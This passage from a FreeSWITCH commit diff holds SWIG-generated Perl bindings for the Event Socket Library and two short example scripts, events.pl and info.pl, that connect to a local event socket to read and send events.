+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    char *arg2 = (char *) 0 ;
+    char *arg3 = (char *) 0 ;
+    ESLevent *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int res3 ;
+    char *buf3 = 0 ;
+    int alloc3 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 3) || (items > 3)) {
+      SWIG_croak("Usage: ESLconnection_filter(self,header,value);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_filter" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_filter" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+    res3 = SWIG_AsCharPtrAndSize(ST(2), &buf3, NULL, &alloc3);
+    if (!SWIG_IsOK(res3)) {
+      SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "ESLconnection_filter" "', argument " "3"" of type '" "char const *""'");
+    }
+    arg3 = reinterpret_cast< char * >(buf3);
+    result = (ESLevent *)(arg1)->filter((char const *)arg2,(char const *)arg3);
+    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_OWNER | SWIG_SHADOW); argvi++ ;
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_events) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    char *arg2 = (char *) 0 ;
+    char *arg3 = (char *) 0 ;
+    int result;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int res3 ;
+    char *buf3 = 0 ;
+    int alloc3 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 3) || (items > 3)) {
+      SWIG_croak("Usage: ESLconnection_events(self,etype,value);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_events" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_events" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+    res3 = SWIG_AsCharPtrAndSize(ST(2), &buf3, NULL, &alloc3);
+    if (!SWIG_IsOK(res3)) {
+      SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "ESLconnection_events" "', argument " "3"" of type '" "char const *""'");
+    }
+    arg3 = reinterpret_cast< char * >(buf3);
+    result = (int)(arg1)->events((char const *)arg2,(char const *)arg3);
+    ST(argvi) = SWIG_From_int  SWIG_PERL_CALL_ARGS_1(static_cast< int >(result)); argvi++ ;
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_execute) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    char *arg2 = (char *) 0 ;
+    char *arg3 = (char *) NULL ;
+    char *arg4 = (char *) NULL ;
+    int result;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int res3 ;
+    char *buf3 = 0 ;
+    int alloc3 = 0 ;
+    int res4 ;
+    char *buf4 = 0 ;
+    int alloc4 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 4)) {
+      SWIG_croak("Usage: ESLconnection_execute(self,app,arg,uuid);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_execute" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_execute" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+    if (items > 2) {
+      res3 = SWIG_AsCharPtrAndSize(ST(2), &buf3, NULL, &alloc3);
+      if (!SWIG_IsOK(res3)) {
+        SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "ESLconnection_execute" "', argument " "3"" of type '" "char const *""'");
+      }
+      arg3 = reinterpret_cast< char * >(buf3);
+    }
+    if (items > 3) {
+      res4 = SWIG_AsCharPtrAndSize(ST(3), &buf4, NULL, &alloc4);
+      if (!SWIG_IsOK(res4)) {
+        SWIG_exception_fail(SWIG_ArgError(res4), "in method '" "ESLconnection_execute" "', argument " "4"" of type '" "char const *""'");
+      }
+      arg4 = reinterpret_cast< char * >(buf4);
+    }
+    result = (int)(arg1)->execute((char const *)arg2,(char const *)arg3,(char const *)arg4);
+    ST(argvi) = SWIG_From_int  SWIG_PERL_CALL_ARGS_1(static_cast< int >(result)); argvi++ ;
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    if (alloc4 == SWIG_NEWOBJ) delete[] buf4;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    if (alloc4 == SWIG_NEWOBJ) delete[] buf4;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_executeAsync) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    char *arg2 = (char *) 0 ;
+    char *arg3 = (char *) NULL ;
+    char *arg4 = (char *) NULL ;
+    int result;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int res3 ;
+    char *buf3 = 0 ;
+    int alloc3 = 0 ;
+    int res4 ;
+    char *buf4 = 0 ;
+    int alloc4 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 4)) {
+      SWIG_croak("Usage: ESLconnection_executeAsync(self,app,arg,uuid);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_executeAsync" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_executeAsync" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+    if (items > 2) {
+      res3 = SWIG_AsCharPtrAndSize(ST(2), &buf3, NULL, &alloc3);
+      if (!SWIG_IsOK(res3)) {
+        SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "ESLconnection_executeAsync" "', argument " "3"" of type '" "char const *""'");
+      }
+      arg3 = reinterpret_cast< char * >(buf3);
+    }
+    if (items > 3) {
+      res4 = SWIG_AsCharPtrAndSize(ST(3), &buf4, NULL, &alloc4);
+      if (!SWIG_IsOK(res4)) {
+        SWIG_exception_fail(SWIG_ArgError(res4), "in method '" "ESLconnection_executeAsync" "', argument " "4"" of type '" "char const *""'");
+      }
+      arg4 = reinterpret_cast< char * >(buf4);
+    }
+    result = (int)(arg1)->executeAsync((char const *)arg2,(char const *)arg3,(char const *)arg4);
+    ST(argvi) = SWIG_From_int  SWIG_PERL_CALL_ARGS_1(static_cast< int >(result)); argvi++ ;
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    if (alloc4 == SWIG_NEWOBJ) delete[] buf4;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    if (alloc4 == SWIG_NEWOBJ) delete[] buf4;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_setAsyncExecute) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    char *arg2 = (char *) 0 ;
+    int result;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 2)) {
+      SWIG_croak("Usage: ESLconnection_setAsyncExecute(self,val);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_setAsyncExecute" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_setAsyncExecute" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+    result = (int)(arg1)->setAsyncExecute((char const *)arg2);
+    ST(argvi) = SWIG_From_int  SWIG_PERL_CALL_ARGS_1(static_cast< int >(result)); argvi++ ;
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_setEventLock) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    char *arg2 = (char *) 0 ;
+    int result;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 2)) {
+      SWIG_croak("Usage: ESLconnection_setEventLock(self,val);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_setEventLock" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_setEventLock" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+    result = (int)(arg1)->setEventLock((char const *)arg2);
+    ST(argvi) = SWIG_From_int  SWIG_PERL_CALL_ARGS_1(static_cast< int >(result)); argvi++ ;
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_disconnect) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    int result;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: ESLconnection_disconnect(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_disconnect" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    result = (int)(arg1)->disconnect();
+    ST(argvi) = SWIG_From_int  SWIG_PERL_CALL_ARGS_1(static_cast< int >(result)); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_eslSetLogLevel) {
+  {
+    int arg1 ;
+    int val1 ;
+    int ecode1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: eslSetLogLevel(level);");
+    }
+    ecode1 = SWIG_AsVal_int SWIG_PERL_CALL_ARGS_2(ST(0), &val1);
+    if (!SWIG_IsOK(ecode1)) {
+      SWIG_exception_fail(SWIG_ArgError(ecode1), "in method '" "eslSetLogLevel" "', argument " "1"" of type '" "int""'");
+    } 
+    arg1 = static_cast< int >(val1);
+    eslSetLogLevel(arg1);
+    
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+
+/* -------- TYPE CONVERSION AND EQUIVALENCE RULES (BEGIN) -------- */
+
+static swig_type_info _swigt__p_ESLconnection = {"_p_ESLconnection", "ESLconnection *", 0, 0, (void*)"ESL::ESLconnection", 0};
+static swig_type_info _swigt__p_ESLevent = {"_p_ESLevent", "ESLevent *", 0, 0, (void*)"ESL::ESLevent", 0};
+static swig_type_info _swigt__p_char = {"_p_char", "char *", 0, 0, (void*)0, 0};
+static swig_type_info _swigt__p_esl_event_t = {"_p_esl_event_t", "esl_event_t *", 0, 0, (void*)0, 0};
+static swig_type_info _swigt__p_esl_priority_t = {"_p_esl_priority_t", "esl_priority_t *", 0, 0, (void*)0, 0};
+
+static swig_type_info *swig_type_initial[] = {
+  &_swigt__p_ESLconnection,
+  &_swigt__p_ESLevent,
+  &_swigt__p_char,
+  &_swigt__p_esl_event_t,
+  &_swigt__p_esl_priority_t,
+};
+
+static swig_cast_info _swigc__p_ESLconnection[] = {  {&_swigt__p_ESLconnection, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_ESLevent[] = {  {&_swigt__p_ESLevent, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_char[] = {  {&_swigt__p_char, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_esl_event_t[] = {  {&_swigt__p_esl_event_t, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_esl_priority_t[] = {  {&_swigt__p_esl_priority_t, 0, 0, 0},{0, 0, 0, 0}};
+
+static swig_cast_info *swig_cast_initial[] = {
+  _swigc__p_ESLconnection,
+  _swigc__p_ESLevent,
+  _swigc__p_char,
+  _swigc__p_esl_event_t,
+  _swigc__p_esl_priority_t,
+};
+
+
+/* -------- TYPE CONVERSION AND EQUIVALENCE RULES (END) -------- */
+
+static swig_constant_info swig_constants[] = {
+{0,0,0,0,0,0}
+};
+#ifdef __cplusplus
+}
+#endif
+static swig_variable_info swig_variables[] = {
+{0,0,0,0}
+};
+static swig_command_info swig_commands[] = {
+{"ESLc::ESLevent_event_set", _wrap_ESLevent_event_set},
+{"ESLc::ESLevent_event_get", _wrap_ESLevent_event_get},
+{"ESLc::ESLevent_serialized_string_set", _wrap_ESLevent_serialized_string_set},
+{"ESLc::ESLevent_serialized_string_get", _wrap_ESLevent_serialized_string_get},
+{"ESLc::ESLevent_mine_set", _wrap_ESLevent_mine_set},
+{"ESLc::ESLevent_mine_get", _wrap_ESLevent_mine_get},
+{"ESLc::new_ESLevent", _wrap_new_ESLevent},
+{"ESLc::delete_ESLevent", _wrap_delete_ESLevent},
+{"ESLc::ESLevent_serialize", _wrap_ESLevent_serialize},
+{"ESLc::ESLevent_setPriority", _wrap_ESLevent_setPriority},
+{"ESLc::ESLevent_getHeader", _wrap_ESLevent_getHeader},
+{"ESLc::ESLevent_getBody", _wrap_ESLevent_getBody},
+{"ESLc::ESLevent_getType", _wrap_ESLevent_getType},
+{"ESLc::ESLevent_addBody", _wrap_ESLevent_addBody},
+{"ESLc::ESLevent_addHeader", _wrap_ESLevent_addHeader},
+{"ESLc::ESLevent_delHeader", _wrap_ESLevent_delHeader},
+{"ESLc::ESLevent_firstHeader", _wrap_ESLevent_firstHeader},
+{"ESLc::ESLevent_nextHeader", _wrap_ESLevent_nextHeader},
+{"ESLc::new_ESLconnection", _wrap_new_ESLconnection},
+{"ESLc::delete_ESLconnection", _wrap_delete_ESLconnection},
+{"ESLc::ESLconnection_socketDescriptor", _wrap_ESLconnection_socketDescriptor},
+{"ESLc::ESLconnection_connected", _wrap_ESLconnection_connected},
+{"ESLc::ESLconnection_getInfo", _wrap_ESLconnection_getInfo},
+{"ESLc::ESLconnection_send", _wrap_ESLconnection_send},
+{"ESLc::ESLconnection_sendRecv", _wrap_ESLconnection_sendRecv},
+{"ESLc::ESLconnection_api", _wrap_ESLconnection_api},
+{"ESLc::ESLconnection_bgapi", _wrap_ESLconnection_bgapi},
+{"ESLc::ESLconnection_sendEvent", _wrap_ESLconnection_sendEvent},
+{"ESLc::ESLconnection_recvEvent", _wrap_ESLconnection_recvEvent},
+{"ESLc::ESLconnection_recvEventTimed", _wrap_ESLconnection_recvEventTimed},
+{"ESLc::ESLconnection_filter", _wrap_ESLconnection_filter},
+{"ESLc::ESLconnection_events", _wrap_ESLconnection_events},
+{"ESLc::ESLconnection_execute", _wrap_ESLconnection_execute},
+{"ESLc::ESLconnection_executeAsync", _wrap_ESLconnection_executeAsync},
+{"ESLc::ESLconnection_setAsyncExecute", _wrap_ESLconnection_setAsyncExecute},
+{"ESLc::ESLconnection_setEventLock", _wrap_ESLconnection_setEventLock},
+{"ESLc::ESLconnection_disconnect", _wrap_ESLconnection_disconnect},
+{"ESLc::eslSetLogLevel", _wrap_eslSetLogLevel},
+{0,0}
+};
+/* -----------------------------------------------------------------------------
+ * Type initialization:
+ * This problem is tough by the requirement that no dynamic 
+ * memory is used. Also, since swig_type_info structures store pointers to 
+ * swig_cast_info structures and swig_cast_info structures store pointers back
+ * to swig_type_info structures, we need some lookup code at initialization. 
+ * The idea is that swig generates all the structures that are needed. 
+ * The runtime then collects these partially filled structures. 
+ * The SWIG_InitializeModule function takes these initial arrays out of 
+ * swig_module, and does all the lookup, filling in the swig_module.types
+ * array with the correct data and linking the correct swig_cast_info
+ * structures together.
+ *
+ * The generated swig_type_info structures are assigned staticly to an initial 
+ * array. We just loop through that array, and handle each type individually.
+ * First we lookup if this type has been already loaded, and if so, use the
+ * loaded structure instead of the generated one. Then we have to fill in the
+ * cast linked list. The cast data is initially stored in something like a
+ * two-dimensional array. Each row corresponds to a type (there are the same
+ * number of rows as there are in the swig_type_initial array). Each entry in
+ * a column is one of the swig_cast_info structures for that type.
+ * The cast_initial array is actually an array of arrays, because each row has
+ * a variable number of columns. So to actually build the cast linked list,
+ * we find the array of casts associated with the type, and loop through it 
+ * adding the casts to the list. The one last trick we need to do is making
+ * sure the type pointer in the swig_cast_info struct is correct.
+ *
+ * First off, we lookup the cast->type name to see if it is already loaded. 
+ * There are three cases to handle:
+ *  1) If the cast->type has already been loaded AND the type we are adding
+ *     casting info to has not been loaded (it is in this module), THEN we
+ *     replace the cast->type pointer with the type pointer that has already
+ *     been loaded.
+ *  2) If BOTH types (the one we are adding casting info to, and the 
+ *     cast->type) are loaded, THEN the cast info has already been loaded by
+ *     the previous module so we just ignore it.
+ *  3) Finally, if cast->type has not already been loaded, then we add that
+ *     swig_cast_info to the linked list (because the cast->type) pointer will
+ *     be correct.
+ * ----------------------------------------------------------------------------- */
+
+#ifdef __cplusplus
+extern "C" {
+#if 0
+} /* c-mode */
+#endif
+#endif
+
+#if 0
+#define SWIGRUNTIME_DEBUG
+#endif
+
+
+SWIGRUNTIME void
+SWIG_InitializeModule(void *clientdata) {
+  size_t i;
+  swig_module_info *module_head, *iter;
+  int found, init;
+  
+  clientdata = clientdata;
+  
+  /* check to see if the circular list has been setup, if not, set it up */
+  if (swig_module.next==0) {
+    /* Initialize the swig_module */
+    swig_module.type_initial = swig_type_initial;
+    swig_module.cast_initial = swig_cast_initial;
+    swig_module.next = &swig_module;
+    init = 1;
+  } else {
+    init = 0;
+  }
+  
+  /* Try and load any already created modules */
+  module_head = SWIG_GetModule(clientdata);
+  if (!module_head) {
+    /* This is the first module loaded for this interpreter */
+    /* so set the swig module into the interpreter */
+    SWIG_SetModule(clientdata, &swig_module);
+    module_head = &swig_module;
+  } else {
+    /* the interpreter has loaded a SWIG module, but has it loaded this one? */
+    found=0;
+    iter=module_head;
+    do {
+      if (iter==&swig_module) {
+        found=1;
+        break;
+      }
+      iter=iter->next;
+    } while (iter!= module_head);
+    
+    /* if the is found in the list, then all is done and we may leave */
+    if (found) return;
+    /* otherwise we must add out module into the list */
+    swig_module.next = module_head->next;
+    module_head->next = &swig_module;
+  }
+  
+  /* When multiple interpeters are used, a module could have already been initialized in
+       a different interpreter, but not yet have a pointer in this interpreter.
+       In this case, we do not want to continue adding types... everything should be
+       set up already */
+  if (init == 0) return;
+  
+  /* Now work on filling in swig_module.types */
+#ifdef SWIGRUNTIME_DEBUG
+  printf("SWIG_InitializeModule: size %d\n", swig_module.size);
+#endif
+  for (i = 0; i < swig_module.size; ++i) {
+    swig_type_info *type = 0;
+    swig_type_info *ret;
+    swig_cast_info *cast;
+    
+#ifdef SWIGRUNTIME_DEBUG
+    printf("SWIG_InitializeModule: type %d %s\n", i, swig_module.type_initial[i]->name);
+#endif
+    
+    /* if there is another module already loaded */
+    if (swig_module.next != &swig_module) {
+      type = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, swig_module.type_initial[i]->name);
+    }
+    if (type) {
+      /* Overwrite clientdata field */
+#ifdef SWIGRUNTIME_DEBUG
+      printf("SWIG_InitializeModule: found type %s\n", type->name);
+#endif
+      if (swig_module.type_initial[i]->clientdata) {
+        type->clientdata = swig_module.type_initial[i]->clientdata;
+#ifdef SWIGRUNTIME_DEBUG
+        printf("SWIG_InitializeModule: found and overwrite type %s \n", type->name);
+#endif
+      }
+    } else {
+      type = swig_module.type_initial[i];
+    }
+    
+    /* Insert casting types */
+    cast = swig_module.cast_initial[i];
+    while (cast->type) {
+      /* Don't need to add information already in the list */
+      ret = 0;
+#ifdef SWIGRUNTIME_DEBUG
+      printf("SWIG_InitializeModule: look cast %s\n", cast->type->name);
+#endif
+      if (swig_module.next != &swig_module) {
+        ret = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, cast->type->name);
+#ifdef SWIGRUNTIME_DEBUG
+        if (ret) printf("SWIG_InitializeModule: found cast %s\n", ret->name);
+#endif
+      }
+      if (ret) {
+        if (type == swig_module.type_initial[i]) {
+#ifdef SWIGRUNTIME_DEBUG
+          printf("SWIG_InitializeModule: skip old type %s\n", ret->name);
+#endif
+          cast->type = ret;
+          ret = 0;
+        } else {
+          /* Check for casting already in the list */
+          swig_cast_info *ocast = SWIG_TypeCheck(ret->name, type);
+#ifdef SWIGRUNTIME_DEBUG
+          if (ocast) printf("SWIG_InitializeModule: skip old cast %s\n", ret->name);
+#endif
+          if (!ocast) ret = 0;
+        }
+      }
+      
+      if (!ret) {
+#ifdef SWIGRUNTIME_DEBUG
+        printf("SWIG_InitializeModule: adding cast %s\n", cast->type->name);
+#endif
+        if (type->cast) {
+          type->cast->prev = cast;
+          cast->next = type->cast;
+        }
+        type->cast = cast;
+      }
+      cast++;
+    }
+    /* Set entry in modules->types array equal to the type */
+    swig_module.types[i] = type;
+  }
+  swig_module.types[i] = 0;
+  
+#ifdef SWIGRUNTIME_DEBUG
+  printf("**** SWIG_InitializeModule: Cast List ******\n");
+  for (i = 0; i < swig_module.size; ++i) {
+    int j = 0;
+    swig_cast_info *cast = swig_module.cast_initial[i];
+    printf("SWIG_InitializeModule: type %d %s\n", i, swig_module.type_initial[i]->name);
+    while (cast->type) {
+      printf("SWIG_InitializeModule: cast type %s\n", cast->type->name);
+      cast++;
+      ++j;
+    }
+    printf("---- Total casts: %d\n",j);
+  }
+  printf("**** SWIG_InitializeModule: Cast List ******\n");
+#endif
+}
+
+/* This function will propagate the clientdata field of type to
+* any new swig_type_info structures that have been added into the list
+* of equivalent types.  It is like calling
+* SWIG_TypeClientData(type, clientdata) a second time.
+*/
+SWIGRUNTIME void
+SWIG_PropagateClientData(void) {
+  size_t i;
+  swig_cast_info *equiv;
+  static int init_run = 0;
+  
+  if (init_run) return;
+  init_run = 1;
+  
+  for (i = 0; i < swig_module.size; i++) {
+    if (swig_module.types[i]->clientdata) {
+      equiv = swig_module.types[i]->cast;
+      while (equiv) {
+        if (!equiv->converter) {
+          if (equiv->type && !equiv->type->clientdata)
+          SWIG_TypeClientData(equiv->type, swig_module.types[i]->clientdata);
+        }
+        equiv = equiv->next;
+      }
+    }
+  }
+}
+
+#ifdef __cplusplus
+#if 0
+{
+  /* c-mode */
+#endif
+}
+#endif
+
+
+
+#ifdef __cplusplus
+extern "C"
+#endif
+
+XS(SWIG_init) {
+  dXSARGS;
+  int i;
+  
+  SWIG_InitializeModule(0);
+  
+  /* Install commands */
+  for (i = 0; swig_commands[i].name; i++) {
+    newXS((char*) swig_commands[i].name,swig_commands[i].wrapper, (char*)__FILE__);
+  }
+  
+  /* Install variables */
+  for (i = 0; swig_variables[i].name; i++) {
+    SV *sv;
+    sv = get_sv((char*) swig_variables[i].name, TRUE | 0x2 | GV_ADDMULTI);
+    if (swig_variables[i].type) {
+      SWIG_MakePtr(sv,(void *)1, *swig_variables[i].type,0);
+    } else {
+      sv_setiv(sv,(IV) 0);
+    }
+    swig_create_magic(sv, (char *) swig_variables[i].name, swig_variables[i].set, swig_variables[i].get); 
+  }
+  
+  /* Install constant */
+  for (i = 0; swig_constants[i].type; i++) {
+    SV *sv;
+    sv = get_sv((char*)swig_constants[i].name, TRUE | 0x2 | GV_ADDMULTI);
+    switch(swig_constants[i].type) {
+    case SWIG_INT:
+      sv_setiv(sv, (IV) swig_constants[i].lvalue);
+      break;
+    case SWIG_FLOAT:
+      sv_setnv(sv, (double) swig_constants[i].dvalue);
+      break;
+    case SWIG_STRING:
+      sv_setpv(sv, (char *) swig_constants[i].pvalue);
+      break;
+    case SWIG_POINTER:
+      SWIG_MakePtr(sv, swig_constants[i].pvalue, *(swig_constants[i].ptype),0);
+      break;
+    case SWIG_BINARY:
+      SWIG_MakePackedObj(sv, swig_constants[i].pvalue, swig_constants[i].lvalue, *(swig_constants[i].ptype));
+      break;
+    default:
+      break;
+    }
+    SvREADONLY_on(sv);
+  }
+  
+  SWIG_TypeClientData(SWIGTYPE_p_ESLevent, (void*) "ESL::ESLevent");
+  SWIG_TypeClientData(SWIGTYPE_p_ESLconnection, (void*) "ESL::ESLconnection");
+  ST(0) = &PL_sv_yes;
+  XSRETURN(1);
+}
+

Deleted: freeswitch/branches/seven/libs/esl/perl/events.pl

Copied: freeswitch/branches/seven/libs/esl/perl/events.pl (from rev 14471, freeswitch/trunk/libs/esl/perl/events.pl) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/perl/events.pl	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/perl/events.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,23 @@
+require ESL;
+
+my $con = new ESL::ESLconnection("localhost", "8021", "ClueCon");
+
+$con->events("plain", "all");
+
+while($con->connected()) {
+  #my $e = $con->recvEventTimed(100);
+  my $e = $con->recvEvent();
+
+  if ($e) {
+    #print $e->serialize();
+    my $h = $e->firstHeader();
+    while ($h) {
+      printf "Header: [%s] = [%s]\n", $h, $e->getHeader($h);
+      $h = $e->nextHeader();
+    }
+
+  }
+
+}
+
+

Deleted: freeswitch/branches/seven/libs/esl/perl/info.pl

Copied: freeswitch/branches/seven/libs/esl/perl/info.pl (from rev 14471, freeswitch/trunk/libs/esl/perl/info.pl) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/perl/info.pl	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/perl/info.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+#!/usr/bin/perl
+
+require ESL;
+
+my $con = ESL::ESLconnection->new("localhost", "8021", "ClueCon");
+my $e = ESL::ESLevent->new("SEND_INFO");
+
+#my $e = $con->sendEvent("MESSAGE_WAITING");
+
+$e->addHeader("Content-Type", "text/xml");
